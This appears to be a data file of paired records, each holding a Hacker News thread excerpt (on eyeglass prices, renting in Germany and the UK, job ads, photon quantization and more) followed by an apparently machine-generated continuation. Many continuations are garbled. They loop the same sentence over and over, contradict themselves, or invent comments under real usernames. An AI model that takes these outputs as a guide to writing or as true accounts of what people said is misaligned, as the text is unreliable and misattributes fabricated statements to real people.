wondered if there is any reason at all to allow companies to\nown/buy/merge other companies. I have not found one.\n\n------\nchewyland\nI bought two pairs of prescription glasses including frames and nice little\ncases + one them was photocromatic.\n\nThe total cost was 47$ for both.\n\nThis was in Sofia.\n\n------\naj7\n1\\. Have your opthalmologist do your refraction. He\u2019ll charge you extra\nusually. 2\\. Walmart. Excellent quality and workflow.\n\n------\njoyeuse6701\nIf Luxottica is a as big a player as they say, shouldn't some anti-trust laws\ncome into play?\n\n------\nm3kw9\nJust need @AOC or @realdonaldtrump to do a little tweet and the DOJ will get\non it.\n\n------\nGuillaumeBrdet\nThe answer my girlfriend has taken, get a good insurance.\n\n$250 pair for $35. Done.\n\n------\nadvertising\nHave bought only retro super future for this very reason\n\n------\narthurofbabylon\n\u201cTell all\u201d? That wasn\u2019t very much.\n\n------\nnatroniks\neyebuydirect.com\n\n------\nanewguy9000\nwait we should be paying costs and not a markup"} +{"output_text": "ophies-of-developer-tools/\n======\nmichael_dorfman\nI'm not sure I agree with the author's conclusion that \"the best tool for the\njob is the one you know how to use.\"\n\nI think that's true, but only in the sense that the best tool for the job is\nthe one you know how to use.\n\nThe best tool for the job is the one that you know how to use, and the one that", "input_text": "\nProduct shelve to sale ratios?\n\n80/20 type optimizations on revenue by skus?\n\nTraffic flow maps?\n\nI'd love to hear some result or stories if you do end up doing some of this.\n\n~~~\nkaennar\nDoing some basic image processing and tracking customers flow through the\nstore would be fascinating.\n\nYou could categorize what people are shopping for, how long, and what buying\none item tends to mean for the rest of their shopping cart.\n\nI'd read that paper!\n\n~~~\nejanus\nWhich paper?\n\n~~~\nkaennar\nI was implying that it would make an interesting academic paper.\n\n------\nRikNieu\nI'm working on a brainstorming/idea generation site as a side-project. No idea\nif people would want this.\n\nWhich lead me to down the path of wondering if there are any idea pitching\nsites. In the meanwhile, I just created a subreddit(/r/ideaspitch) which could\nserve that function for the time being, just so that I can relax and focus on\nmy original idea again...\n\nSo yes, brainstorming/idea generating tool.\n\n------\nSirLJ\nAI driven stock trading robots, it's cool, because you compete in the market\nwith the smarts people on Earth every day and making good money in the\nprocess...\n\n------\ndronescanfly\nElectrical Vehicel Routing\n\nHighly theoretical stuff that let me transition well from university\n\n~~~\nejanus\nIs it possible to allow me to be part of your adventure?\n\n \nDesign Philosophies of Developer Tools - fogus\nhttp://stuartsierra.com/2011/08/30/design-philos"} +{"output_text": " on Facebook longer, Facebook is censoring the content that people want to\nsee.\n\n~~~\ndanso\nI think you're conflating two different things:\n\n1\\. The algorithmic prioritization of posts\n\n2\\. The algorithmic prioritization of content\n\nThe former is a feature of Facebook's algorithm, which is a feature of the\nplatform. The latter is a feature of Facebook's content curation, which is a\nfeature of the platform.\n", "input_text": ". Which means that the most\nimportant thing is a headline that grabs people's attention and causes them to\nclick. The incentive is for the most outrageous and attention grabbing\nheadline possible. With no incentive for being accurate - by the time you\nrealize that the article is junk they've been paid and are looking for another\nsucker.\n\nIf you're interested in a book length exposition of how this change in\ndynamics has changed the news landscape, I recommend\n[https://www.amazon.com/Trust-Me-Lying-Confessions-\nManipulato...](https://www.amazon.com/Trust-Me-Lying-Confessions-\nManipulator/dp/1591846285). The trends that it discusses have played out for\nanother decade since it was written, but played out along the direction that\nit described.\n\n~~~\ngms\nThe NYT operates on an online subscription model, no?\n\n~~~\nbobthepanda\nHow much of a percentage of revenue is that subscription model vs ads, and how\ndoes that hold up to the historical split?\n\n~~~\nthorwasdfasdf\ni heard somewhere it was 60% subscription 40% ad, though I'm not sure.\n\n------\nwayne_skylar\nI find it so funny that Facebook hides behind \"freedom of speech\" when in fact\nwhat they do is the exact opposite.\n\nWhen everything you saw was cronological, you could make that argument. I\nwrite a message on my wall and everyone who follows me can see it if they\nscroll down far enough. Most importantly, the only criteria used was the time\nit was submitted which I think everyone can agree is fair.\n\nBy prioritizing certain posts based on what the algorithm thinks will make you\nstay"} +{"output_text": " is a much more stable source of income than a NIBMY.\n\n~~~\nNormal_gaussian\nI don't think that is a problem.\n\nI have a house that I bought with a mortgage. I have a mortgage that I pay\nmonthly.\n\nI have a house that I bought with a mortgage. I have a mortgage that I pay\nmonthly.\n\nI have a house that I bought with a mortgage. I have a mortgage that I pay", "input_text": "\n\nYou or your parents don\u2019t own houses, and are self sufficient on a regular\njob? Well, you are shit out of luck then. As much as 70% of your income will\ngo towards your rent, effectively financing the better-off and the further\nexpansion of their inefficient renting businesses.\n\n~~~\nfwn\nSpending 70% of your income on rent is far from inevitable in Germany.\n\n~~~\nLeChuck\nNot only far from inevitable but impossible in a lot of cases. When I was\nlooking for an apartment in Germany most (all? I can't remember) landlords\nwanted to verify that my income was at least three times the rent.\n\n~~~\nmrottenkolber\nWell, that can\u2019t work out in all cases, obviously. Remember that a significant\nchunk of the people don\u2019t make 3x of a low rent in many towns.\n\n------\nNormal_gaussian\nThe only liberty that renting provides is the protection from the whims of the\nhousing market.\n\nAside from that it takes liberties right left and centre. I cannot structure\nmy house and life as I want from painting and shelving through pets and\nkitchen appliances.\n\nI cannot fix something without causing a hassle and days off work.\n\nI cannot register a business here.\n\nI am at the whim of my landlord.\n\nRenting in the UK is a pain in the arse. I do to see renting as particularly\npositive for the individual.\n\n~~~\nimtringued\nOn the other hand it eliminates the NIBMY problem. Since the tenants do not\nown their home they don't have the pressure to protect their investment. The\nlandlord receives returns on his investment through rent on a monthly basis\nwhich"} +{"output_text": "3395733-software-\nengineer-developer-platform-frontend-?trid=f80091b6-bea0-4fe3-a8f1-2a732fb8bec8)\n\nMobile Engineers - we are building the mobile app for Square, and we are\nbuilding the mobile app for Square, and we are building the mobile app for\nSquare, and we are building the mobile app for Square, and we are building the", "input_text": "/careers/).\n\nInterview process: online technical assessments, phone and onsite interviews.\n\nIf you have specific questions for me, my email is in the profile (put HNJOB\nin the subject line).\n\n------\njawspeak\nSquare: Developer Platform, San Francisco | Full Time | ONSITE | VISA\nsponsorship or transfer OK.\n\nThis is our team: Developer Platform. We are hiring!\n[https://www.squareup.com/developers](https://www.squareup.com/developers).\nSee all the roles [https://careers.smartrecruiters.com/Square/dev-\nplatform](https://careers.smartrecruiters.com/Square/dev-platform)\n\nServer Engineers - we use mostly Go and create the platform that makes Square\na Platform, we also own several products, and are releasing many new\nprimitives for devs to build businesses on top of Square -\n[https://jobs.smartrecruiters.com/Square/98588966-software-\nen...](https://jobs.smartrecruiters.com/Square/98588966-software-engineer-\ndeveloper-platform-server-?trid=f80091b6-bea0-4fe3-a8f1-2a732fb8bec8)\n\nFrontend Engineers - owning eCommerce API for websites to accept payments (and\ndo card on file) without PCI effort, dev experience, dev portal, and new not-\nyet-released products!\n[https://jobs.smartrecruiters.com/Square/103395733-software-e...](https://jobs.smartrecruiters.com/Square/10"} +{"output_text": " on\neverything.\n\n~~~\nzmitri\nI agree. I think it's a combination of both.\n\n------\njrockway\nI think it's a little bit of both. He's been in power for a long time, and\nhasn't really done anything to change the system. He's just been in power for\nso long that he's forgotten what it was like before.\n\nI think he's just a little bit older, and a little", "input_text": " a week, it's 20 hours once, only when looking for a job.\n\nIf you can't be bothered to put some brief, good code on github to review, why\nwould I be bothered to interview you?\n\n~~~\nbeyondjaded\nwell I've seen some local jobs asking for people who can contributed to the\ncore of Jquery or Prototype for example and their github accounts to go with\nthat. If this fits in with your previous job description like you say it\ndoesn't take long to tidy things up but being a really valid part of any open\nsource community whether takes a lot of time and is definitely comparable to\nanother part time job on top of a normal job\n\n------\njister\nonly shortsighted fools will require you to have all those although some may\nask but it's definitely not required\n\n \nCastro has his doubts on Communism - zmitri\nhttp://thelede.blogs.nytimes.com/2010/09/09/fidel-castros-doubts-about-cuban-communism-and-iranian-anti-semitism/?partner=rss&emc=rss\n======\nzmitri\nThis has really changed my view point on Castro. I'm not sure if he's been\nlooking at lives of Cubans and realizing that maybe the revolution wasn't\nworth it, or if he's just getting older and his youthful \" altruistic\nidealism\" is fading.\n\nNice to see people can change their mind, and recollect... even after decades.\n\n~~~\nstephenjudkins\nIt would have been great if he'd realized it earlier.\n\nHowever, I imagine that growing up during the great depression (especially\nunder a series of kleptocrat dictators) changes one's perspectives"} +{"output_text": "\n~~~\nendtwist\nI understand your concern, but I think it's a bit overblown.\n\nI'm not saying that Hopper will be around forever, but I'm saying that it's\nnot going to be a problem for me to look at your data in five years.\n\nI'm also not saying that I'm going to look at your data in five years. I'm\nsaying that I'm not going to look at your data in five years.", "input_text": ". And I'm fairly confident\nthat 5 years from now they'll still be in there and just as easily\ndiscoverable.\n\nWhile Hopper's UI is certainly better than email attachments in gmail\ncurrently are, I suspect Google will rectify that on their side much faster\nthan Hopper will rectify my previously mentioned primary two concerns about\nthe data I'm storing.\n\nAs others have already mentioned, seamless integration into email would go a\nlong way toward getting me to use this at all. Augment instead of trying to\nreplace is a much better strategy here.\n\n~~~\nendtwist\nNo problem, Hopper might not be for you. However, I've gotten a lot of\nrequests re: emailing updates, so I will consider it!\n\nLet me say, though, that I absolutely respect your privacy and have no\nintention of looking at your data. It's as private as you want it to be. I'm\nalso happy to put this in the TOS.\n\nExporting is another story as its easier said than done. Emailing you the\npastes periodically (optionally), however, may alleviate that problem.\n\n~~~\nllambda\n> Let me say, though, that I absolutely respect your privacy and have no\n> intention of looking at your data. It's as private as you want it to be. I'm\n> also happy to put this in the TOS.\n\nOP's issue wasn't so much privacy as it was permanency, as I read it. So using\nGmail, I can rest assured that in five year's time my documents will still be\naround, just as they are today. Whereas with a new service, who's to say what\nlies in store for it? What if you pivot? What if you're acquired?\n"} +{"output_text": ".\n\n~~~\na_imho\nI see. I was under the impression that the CFAA was a general law that\ncriminalizes any violation of a computer system.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. The article is about a\nteenager who was arrested for accessing a website that was not intended for\nhim. The article is not about a website that was intended for him but was\naccessed by a", "input_text": " in many states now\n(where distracted has been interpreted more or less broadly to include\nelectronic devices or even eating while driving). Having a phone playing\nSpotify/Pandora/$X into your car stereo can be a punishable offense in MA, OR,\nWA, NY, etc.\n\nJust because there have not been actual convictions for said offenses does not\nmean they are not prosecutable. Depending on the state, simply interacting\nwith an electronic device while driving (to change the station for example),\ncan be a punishable offense.\n\n~~~\ncr0sh\n> Depending on the state, simply interacting with an electronic device while\n> driving (to change the station for example), can be a punishable offense.\n\nI wonder if these laws have an \"out\" for police officers while they are\ndriving...?\n\n~~~\nsmileysteve\nIn Georgia, yep, police are specifically exempted. They can do whatever they\nwant on their laptops (or other devices)\n\n------\na_imho\nIsn't everyone violating the CFAA [1] already? It is not clear whether a child\nis being prosecuted for this kind of specific tos violation.\n\n[1][http://blog.erratasec.com/2012/11/you-are-committing-\ncrime-r...](http://blog.erratasec.com/2012/11/you-are-committing-crime-right-\nnow.html)\n\n~~~\nII2II\nThe point is that one law means that the age restriction is a standard clause\nin most website's TOS, while another law makes it a felony for minors to\naccess website because of that standard term of service.\n\nThe combination of the two laws is what makes it different from violating the\nTOS"} +{"output_text": " Azure DevOps.\n\n~~~\nmikece\nI'm not sure I follow. Azure DevOps is a product, not an org.\n\n~~~\nflyingswift\nAzure DevOps is a product that is built on top of Azure DevOps Services.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\nIf you're using Azure DevOps, you're already using Azure DevOps.\n\nIf you're using Azure", "input_text": "\nIP (like patents), or figure out how to carve out a niche and compete.\n\nIMO: The \"bolt-on product to fix something wrong with someone else's product\"\nbusiness model appears short lived and requires a rather early exit strategy.\n\n~~~\nJMTQp8lwXL\nThese types of businesses shouldn't be taken past the concept stage. If the\npremise of your business is existing wholly on one other entity, it's a\nconstant risk that'll never go away.\n\n~~~\ngwbas1c\nI don't know if I'd be that blunt: Depending on the situation, a patent plus a\nbuyout can be very profitable. That's one of the reasons why patents are\nuseful, they encourage innovations on top of other peoples' products because\nyou can use them to force the other party to pay you something when they try\nto copy your invention and undercut you.\n\nMakes me wonder why Autofac had no patents.\n\nBesides, there's nothing wrong with making a quick buck as long as you know\nit's a temporary situation.\n\n------\nlostmsu\nBut for me theirs is 10 times better as I don't have to install it anywhere\nand then maintain it myself.\n\n~~~\nmikece\nThere is that... but Microsoft screws up their advantage by constantly\nchanging their product names (VSO? VSTS? Azure DevOps? Why don't we just use\nGitHub... and what is HockeyApp's new name?) to the point of confusing the\nvery market they are trying to serve.\n\n~~~\nflyingswift\nUnfortunately, the org as a whole has completely collapsed as the result of\nthe GitHub acquisition. I wouldn't be surprised to see ADO be deprecated in\n2-3 years in favor of"} +{"output_text": " education system. I was a bit of a\ndork, and I was bored out of my mind. I was also a bit of a rebel, and I\ndidn't like the way the system was structured.\n\nI was a bit of a loner, and I didn't like the way the system was structured.\n\nI was a bit of a rebel, and I didn't like the way the system was structured.\n\nI was a bit of a loner,", "input_text": "to_have_a_great_career)\n\n------\nzacinbusiness\nGet a shit job. Get shot at by a thug. Clean up other peoples shit and piss\nall day for minimum wage. That's what worked for me.\n\n------\nusablebytes\nFirst thing - don't search for motivation or don't try to get yourself\nmotivated. You'll end up looking for things that will make you feel good which\nwill in-turn promote procrastination and thereby take you away from actions.\nThe truth is motivation doesn't last. It's a push mechanism. You'll have to\nfocus on things that pull you towards it.\n\nIf you keep going like the way you are currently, how would your life be?\nDefinitely you understand the problem with it and this post is the proof. But\nask yourself - \"why do you want to get A-levels at school?\". If programming\nand researching keeps you going, by all means, you should focus on it. Make\nsure you put the best possible efforts in it; the rest will follow\nautomatically.\n\n------\nlinux_devil\nTake it easy, there are lot of options available online if you are not\nenjoying what is being taught in college but you have interest in particular\nsubject. For e.g.: When I was in college I felt my profs. are boring, so I\nalways used to take online courses, like algorithms, operating system\nthrough ocw.mit.edu or stanford.edu or coursera, It helped me a lot to\nmaintain interest in subject, and at same time participate in discussions\nonline, there is always a big community somewhere which will be happy to help\nyou.\n\n------\njahewson\nI went through this phase of the British"} +{"output_text": ".com\n\n------\njamesjguthrie\nGuthrie | Software Engineer | London | Full-time | Onsite\n\nGuthrie is a digital agency that helps brands build better products. We\ndeliver high-quality, innovative solutions to our clients, and we\u2019re looking\nfor a software engineer to join our team.\n\nYou\u2019ll be working on a range of projects, from building new features to\noptimising existing systems. You\u2019ll", "input_text": ".\n\n> seemed disrespectful of others time\n\nI had similar experience with unknown startup, after spending few hours on\ntask, the founder didn't even bother to respond. After that I decided not to\ntake-up interviews which has similar requirement (ex: ask to finish small\ntask).\n\n~~~\nbogomipz\nSure, if you do elect to do them, I think the best thing you can do is share\nyou experience and help someone else avoid having their time wasted by\ncompanies that act like this.\n\nI think it can be seen as a telling sign about the company itself.\n\n------\nSamGlasberg130\nStitch, Inc. | Philadelphia,PA | Multiple Open Positions\n\n __* Who We Are __* Stitch is a simple, powerful ETL service built for\ndevelopers. Stitch connects to all your data sources--from databases like\nMongoDB and MySQL, to SaaS tools like Salesforce and Zendesk--and replicates\nthat data to your data warehouse. With Stitch, developers can provision data\nto analysts and other team members in minutes, not weeks. To learn more, visit\nwww.stitchdata.com, read our blog, and follow us on Twitter (@stitch_data).\n\n __* Open Positions __* We currently are looking to fill the following roles:\n\\- Mid-level /Senior Software Engineer (ONSITE) \\- Senior Cloud Operations\nEngineer (ONSITE) \\- Developer Evangelist (REMOTE) \\- Business Operations\nManager (ONSITE)\n\nAll job descriptions can be found here:\n[https://www.stitchdata.com/jobs/](https://www.stitchdata.com/jobs/)\n\n __* Interested? __* Email Sam Glasberg - sam@stitchdata"} +{"output_text": " that it is a plugin. I'm not sure if it is a plugin or not.\n\n------\njamesjyu\nI'm not sure if this is a good idea. I think it's a good idea to have a\nplatform for people to sell their apps, but I think it's a bad idea to have\nthe platform be the only way to sell your app.\n\nI think the best way to sell your app is to have a website, and have people\n", "input_text": " niche you're targeting\nwon't sustain the price you want, and unfortunately, that's the way the cookie\ncrumbles when selling software like this.\n\n~~~\ncageface\nAs an author of one semi-pro audio app, I can tell you that even the \"pro\"\napps are selling for as little as 1/10th of the price of a similar app on a\nMac. I really doubt the sales volumes compensate for that.\n\nThe big problem with the app store is that the people on the very high end of\nthe power distribution dictate a pricing structure for everyone that only\nreally works for those moving huge volumes. People now have a preconceived\nidea of what an app should cost that often has nothing to do with how much it\nmust actually sell for in order to turn a profit.\n\n~~~\ntechnoslut\nI'm assuming that you mean prosumer apps. I haven't seen these on iOS. The\nonly app that I've seen that is better on iOS is the official Twitter app.\n\nThen again, I haven't seen traditionally big devs on the Mac release Acorn,\nFlare, and Pixelmator on iOS.\n\n~~~\ncageface\nFor example, an excellent synth app like this would probably sell for at\n_least_ $99 as a plugin for Mac/PC: \n\nI don't know for sure but I'd be very surprised if it's moving 20x the units\nit would as a plugin. But if you price something like this above $10 you'll\nget all kinds of user outrage because that's not what an \"app\" should cost.\n\n~~~\ntechnoslut\nI'm listening to the link of the app and it is good but people have to be\naware"} +{"output_text": "\n> The biggest constraint on growth is how large you can make a cohort or how\n> many cohorts you run (either multiple per year, or opening new locations).\n\nI'm curious what the cost of running a cohort is. I'm guessing it's a lot\nlower than the cost of running a full-time program.\n\n~~~\ngk1\nI'm not sure what you mean by \"cost of running a cohort\".\n\nThe cost of running a cohort is", "input_text": "glenngillen\nI did some back-of-the-envelope numbers on the one I came into contact with\npreviously (also keep in mind this was 6 years ago now too!):\n\n20-30x students per cohort who paid ~$20K upfront for a 12 week program. 20%\nsigning fee (based on 1st year comp) from employer on placement.\n\nWe definitely were not paying top of market as some of these students ended up\nat Uber and Facebook. That said the all in 1st year cost between base +\nsigning bonus + equity wasn't much short of $200K. So:\n\n30 * $20K + 28 * $200K * 20% = $1.72M/cohort\n\nAs for outgoings, all of the mentors were volunteers. As were most of the\ninstructors. The content is mostly a one-time sunk cost to produce and is\nredelivered across cohorts. The largest overhead would have been a building\nlease. The biggest constraint on growth is how large you can make a cohort or\nhow many cohorts you run (either multiple per year, or opening new locations).\n\nReally felt like a bit of a racket that had found what was almost an\narbitrage: between the inability of Bay Area companies to find local talent,\nthe huge costs and risk associated trying to relocate people via H1B, and the\ndesire for people to re-skill at any cost because tech jobs/salaries were\ndistorting everything else in their city.\n\nSure it's not a $1B outcome. It's a pretty profitable and repeatable business,\nand especially given the limited downside risk (mostly carried by the\nstudents, who've already paid).\n\n~~~\nshalmanese"} +{"output_text": " final exam that consists of a single sentence, which must be written in the same style as the rest of the paper\n * grade on a curve, with the lowest score being a \"D\"\n \n\nI think this would be a fun way to teach students to write, and I think it\nwould be a fun way to teach them to write well.\n\n~~~\njamesbritt\n\"I think this would be a fun way to teach students to write, and", "input_text": " that pass through a\nroom/hallway. Or, for a C-SPAN clip, gauge when who speaks when (depending on\nwhose face is center-frame during a debate). And other less pedantic ideas.\n\n~~~\nzheng\nPlus computers actually remember things. I think anyone here can see that a\ncomputerized method of gathering data isn't interesting for the method per se\nbut the ease of keeping and analyzing said data over a period of time.\n\n------\ndeepGem\nThis is very cool. A very useful demonstration of what you can do with R, for\nthose of us who are non-researchers.\n\n------\nbenarent\nThanks for the up-votes everyone. I have a coupon code for anyone interested\nin getting Saus book / e-book.\n\n~~~\ndiego\nI'm interested if you still have it. If it's gone I may still buy the book, it\nlooks very promising.\n\n~~~\nbenarent\nSend an e-mail to me ben@airbrake.io.\n\n \n\nHow to say nothing in 500 words - irahul\nhttp://web.archive.org/web/20101124040620/http://www.apostate.com/how-say-nothing-500-words\n\n======\nCyranix\nIf I ever go back to language teaching, I think I've just come up with an\nengaging and rewarding lesson:\n\n \n \n * assign students the task of writing an N-word or -page paper and explicitly instruct them to use as much fluff as possible (creatively, i.e. not using \"really\" x100)\n * allow them to read each other's papers and vote on the most vapid essays\n * assign a"} +{"output_text": " impossible to get permission for the same dog.\n\n------\njedberg\nI'm not sure why this is on the front page. It's a very small apartment, and\nit's not like it's a huge apartment.\n\n~~~\njedberg\nI guess I should add that I'm not a landlord, I'm just a renter.\n\n------\njedberg\nI'm curious, what is the difference between a \"small\" apartment and a \"", "input_text": " smaller apartments (often intended for students) come usually with\nfurniture\n\n\\- The deposit has to be put on a special, locked bank account. The money can\nonly been withdrawn if both sides tell the bank in writing that the rent\ncontract is over\n\n\\- Depends on the size of the pet\n\n~~~\npluma\nActually IIRC the law was changed so tenants only have to make sure the walls\nhave a neutral appearance (i.e. usually white woodchip wallpaper) when moving\nout, so they're pretty much free to decorate the place as they want as long as\nthey don't outright demolish or damage the walls.\n\nThere used to be a requirement for tenants to renovate the apartment (i.e.\nthorough cleaning, new wallpaper and white paint) before moving out but that\nrequirement has been reduced to \"besenrein\" (literally \"broom clean\", i.e. no\nrubbish or dirt). Damage to windows and existing fittings etc is deducted from\nthe deposit but tenants have the right to a formal inspection with a signed\nreport to avoid dubious claims.\n\nThe \"Kautionskonto\" (the special bank account) is widespread but not\nuniversal. However there are also co-operatives that invest your deposit and\nactually pass on the interest to you when you move out (these apartments are\nrare though).\n\nSome specifics on pets: fish and caged pets (e.g. rodents) are generally\nallowed within normal quantities. Cats require approval but disapproval is\npractically impossible unless there are very good reasons. Dogs always require\napproval and disapproval is more likely. Many contracts explicitly allow\nspecific pets (including dogs). If another tenant was given permission for a\ndog, it's hard or"} +{"output_text": " photons carry more energy.\n\nThe photon is a particle, but it's also a wave. The wave nature of the photon\nis what allows it to be used to transmit information.\n\n~~~\namelius\n> The photon is a particle, but it's also a wave. The wave nature of the\n> photon is what allows it to be used to transmit information.\n\nI'm not sure I understand this. If the photon is a wave, then it can be\n", "input_text": " we can confirm that we're detecting single\nphotons at the detector, and you can even confirm that each photon travels\nthrough one slit or the other... See [https://en.wikipedia.org/wiki/Double-\nslit_experiment](https://en.wikipedia.org/wiki/Double-slit_experiment)\n\n~~~\nAnimalMuppet\nOne nit: A phonon is a vibration of a lattice, not light.\n\n~~~\nURSpider94\nYep, that should have said \"plasmon\". I messed up all of my comments on this\nthread. A plasmon isn't technically light either, it's an oscillation of the\nelectric field in a conductor -- but it has wave/particle duality like a\nphoton.\n\n------\nemerongi\nIt's hard to grasp what was really captured on that image, but this still\ndoesn't rule out the pilot wave theory. I think it's misleading to call it a\nphotograph of light \"as both a particle and wave\".\n\n------\namelius\nI have a question about QM, which perhaps somebody here can answer: Is\nquantization an inherent property of the photon, or is it a property of the\nmaterial (or of the interaction with it)?\n\n~~~\nURSpider94\nThe other answers posted here are not quite right. Light energy is indeed\ninherently quantized, and a photon is one quantum of light. In other words,\nyou can't have a half-photon of light, only even multiples.\n\nEinstein wrote the equation \"E = h*(nu)\", where h is the so-called \"Planck's\nconstant\", and nu is the frequency of light. Translated, this means that each\nphoton carries an amount of energy proportional to its frequency, higher-\nfrequency"} +{"output_text": "stavros.io/posts/expounding/](https://www.stavros.io/posts/expounding/)\n\n------\njames_pm\nThis is a great idea. I've been thinking about this for a while.\n\nI think it would be great to have a \"stretch\" feature that would allow you to\nexpand a section of text to a certain length.\n\nFor example, if you have a paragraph that is too short, you could", "input_text": "\n[0] [http://www.bigfootjs.com](http://www.bigfootjs.com)\n\n~~~\nStavrosK\nThanks for the feedback, the tiered approach is also something I considered,\nalthough with a different method. You would tag things with a number from 1\nfor outermost to N for innermost and then let the user expand to the specific\nlevel. I haven't yet tried that concept, but I probably will soon!\n\n------\npolm23\nThis is an old idea in Hypertext called Stretch Text (since 1967!):\n\n[https://en.wikipedia.org/wiki/StretchText](https://en.wikipedia.org/wiki/StretchText)\n\nEvery so often someone hears about the old hypertext theory and implements a\nJavascript or CSS version, but this is honestly one of the nicest\nimplementations I've ever seen. Good work!\n\n------\nKinnard\nThis seems like something that could impact the nature of composition. I\nwonder if writers would write differently if they knew they could \"expound\".\n\n~~~\nharel\nSurely if you write with expounding in mind you'll take that into\nconsideration in your text. You DO write the expanded text after all...\n\n~~~\nKinnard\nNo, I don't believe I do. I think this could be implemented into a blogging\nplatform\u2014 a new medium.\n\n~~~\nponyous\nLol yeah, I feel like I want more examples to read. Easy way to filter data\nyou already know. I think I could learn so much faster with this if texts are\nwritten properly.\n\n~~~\nStavrosK\nI used it in \"normal\" usage here:\n\n[https://www."} +{"output_text": "ive\" to \"punishment\".\n\n~~~\nersii\nI'm not sure if you're being serious or not.\n\nIf you're serious, then I'd say that the problem is that the repair tax is\ntoo low.\n\nIf you're not serious, then I'd say that the problem is that the repair tax is\ntoo high.\n\n------\njoshuahedlund\nI'm not sure I understand the point of this article. It seems to", "input_text": " others living outside of the region would think that.\nSweden is very good at only extolling her perceived \"virtues\" and sweeping the\nrest under the rug. Waaaay under the rug.\n\nThere is a real moral and intellectual superiority among many Swedes that I\nfind deeply distasteful. From environment to politics to how to bag your\ngroceries, and yes--even close a door properly, the \"Swedish way\" is always\npromoted as the only \"right way.\"\n\n~~~\ndijit\nOut of curiosity where do you live? Perhaps this is a regional thing but down\nhere in Skane people are very humble about being Swedish, almost as if they\nare ashamed of some sort of history.\n\nThey certainly wouldn't describe something as \"the Swedish way\" unless it was\nsomething about how the police are ineffective due to bureaucracy or something\nsimilar.\n\n~~~\nkalleboo\nIt seems a lot more complicated than either your view or the grandparents. If\nyou watch Fredrik Lindstr\u00f6ms \"V\u00e4rldens Modernaste Land\" it explores the\nquestion of the conflicting Swedish self-image pretty well (and the history of\nhow it became what it is today), but I wouldn't know how to summarize it in a\nHacker News comment.\n\n------\nersii\nThere seems to be plenty here that like the idea of lowering the Value Add Tax\non repairs. Let me ask: Why stop at 12.5% VAT for repairs? If you'd go all the\nway down to 0% - the repairs could potentially be up to 25% cheaper than they\nare now.\n\n~~~\nsliverstorm\nPerhaps if they make repair _too_ sweet, abuse will skyrocket asymptotically.\n\nOr, perhaps it transforms from \"incent"} +{"output_text": " to change the laws to allow for more research to be done\non these types of medications.\n\n~~~\nBroken_Hippo\nI agree. I think the problem is that the companies that want to sell it are\nthe ones that need to pay for the studies.\n\n------\njedberg\nI'm not sure why this is so controversial. It's a hormonal contraceptive.\n\n~~~\nBroken_Hippo\nIt's not a hormonal contrace", "input_text": "a different product) was described as working by shredding\nsperm by an electrical charge process as they went past the contraceptive that\nlined the walls of the vas deferens. Vasalgel makes no such claims._\n\n[https://www.parsemusfoundation.org/projects/vasalgel/vasalge...](https://www.parsemusfoundation.org/projects/vasalgel/vasalgel-\nfaqs/)\n\n------\nearlyriser\nI remember reading about this maybe 6 years ago. What was memorable was that\nthe gel was even cheaper than the syringe. It's sad how slow these things move\nand that we're not going to have that in North-America for a good time.\n\n~~~\nBroken_Hippo\nI wish it could go faster, but the truth is this is exactly the sort of thing\nthat should go slowly. It is much better for birth control to have a certain\neffectiveness, after all. Since this is an injection, probably best to have\ngood tests with longevity as well. It isn't bad to go back every couple years\nfor this, but this is the sort of information one needs to know upfront.\n\nUnfortunately, finding this initial stuff out takes time.\n\n~~~\nTheAdamAndChe\nA problem in the US is that the company that wants to sell this is the company\nthat needs to pay for the studies required to make it legal. However because\nit is so cheap, it's difficult for the company to make a profit. The same\nthing can be found with many supplements. For example, N-acetylcysteine has\nshown to be helpful in several forms of addiction and mood disorders, but\nbecause it is so cheap, no company will front the money needed to make it a\nmedication. We need"} +{"output_text": " into a\nmanufacturing process, and is used to design and build the world\u2019s first\nsynthetic cell factory.\n\nWe are looking for talented, curious, and self-motivated software engineers to\njoin our team in building the most advanced production-scale synthetic biology\nplatform on the planet.\n\nWe are looking for:\n\n\\- Experienced software engineers with a passion for building software that\ndrives the future of biology.\n\n\\- Experienced software engineers with", "input_text": "wcm9kc...](https://careers.rolepoint.com/#job/ahBzfnJvbGVwb2ludC1wcm9kchALEgNKb2IYgICAk5LAowkM)\n\n==RolePoint==\n\nWe're building a company that allows you to work on interesting projects in a\nstimulating, social environment. We work on flexible hours, offer unlimited\nvacation days, go out for weekly team activities and once a year bring the\nwhole company together on an international gathering to reconnect outside of\nour work.\n\nCheck out more roles at\n[https://careers.rolepoint.com](https://careers.rolepoint.com)\n\n------\ncdolan23\nAmyris, Inc. | Software Engineer | Emeryville, CA | Full-time, ONSITE,\n[http://amyris.com](http://amyris.com)\n\nWe are searching for talented, curious, and self-motivated developers to join\nour software engineering team in building the most advanced production-scale\nsynthetic biology platform on the planet. R&D at Amyris is a highly\nmultidisciplinary effort, where we need brilliant contributions from every\narea of the life sciences and engineering disciplines in order to take\nprojects from concept to market.\n\nFrom hacking directly on DNA in the lab to full scale factory production,\nevery aspect of our work is facilitated and accelerated by software and\nhardware automation. Our tools integrate the activities of scientists,\nengineers, and industrial robots to enable the rapid optimization of genetic\ndesigns and laboratory processes.\n\nAmong the tools we have developed are a CAD/CAM system for genetic\nengineering: a compiler toolchain whose target architecture is life itself.\nThis stack physically integrates high level genetic modules"} +{"output_text": "$ a month?\n\n~~~\nfnando\nI'm not sure what you mean.\n\n~~~\ngcb\nI mean, you are charging 30$ a month for a service that is already free.\n\n~~~\nfnando\nI'm not sure what you mean.\n\n~~~\ngcb\nI mean, you are charging 30$ a month for a service that is already free.\n\n~~~\nfnando\nI'm not sure what you mean.\n", "input_text": " of\narchive repos. You are allowed (even on free account) unlimited view-only\nrepositories and they charge mainly by space/active repos.\n\nHowever I still see the value in this service, and I like it.\n\n------\nswah\nJust curious... are you brazilian?\n\n~~~\nfnando\nYes, I am! :D\n\n------\ntuna\nI liked that I dont need to do this setup myself and that I can integrate with\nS3.\n\n~~~\nfnando\nExactly my point! People can always set up their own stuff. The question is\n\"is it worth?\"\n\n------\nCreate\n\n\n~~~\nthomasfl\nGitorious is both a free site and an open sourced project web app. Strange\nthis hasn't been mentioned before in this thread.\n\n------\nveyron\nIs there a way to link this with a project management tool like basecamp?\n\n~~~\nfnando\nNot yet! Basecamp and some others tools like Pivotal Tracker will be\nintegrated at the right time. ;)\n\n------\nshapeshed\nGit is simple enough to set up with some basic unix skills and with something\nlike gitosis you can manage access to repos. GitHub has added many more\nfeatures and make collaborating super simple. Totally worth it IMHO. Git is\nnot just Github though.\n\n------\ntommoor\nGreat idea, well executed - im sure you will do 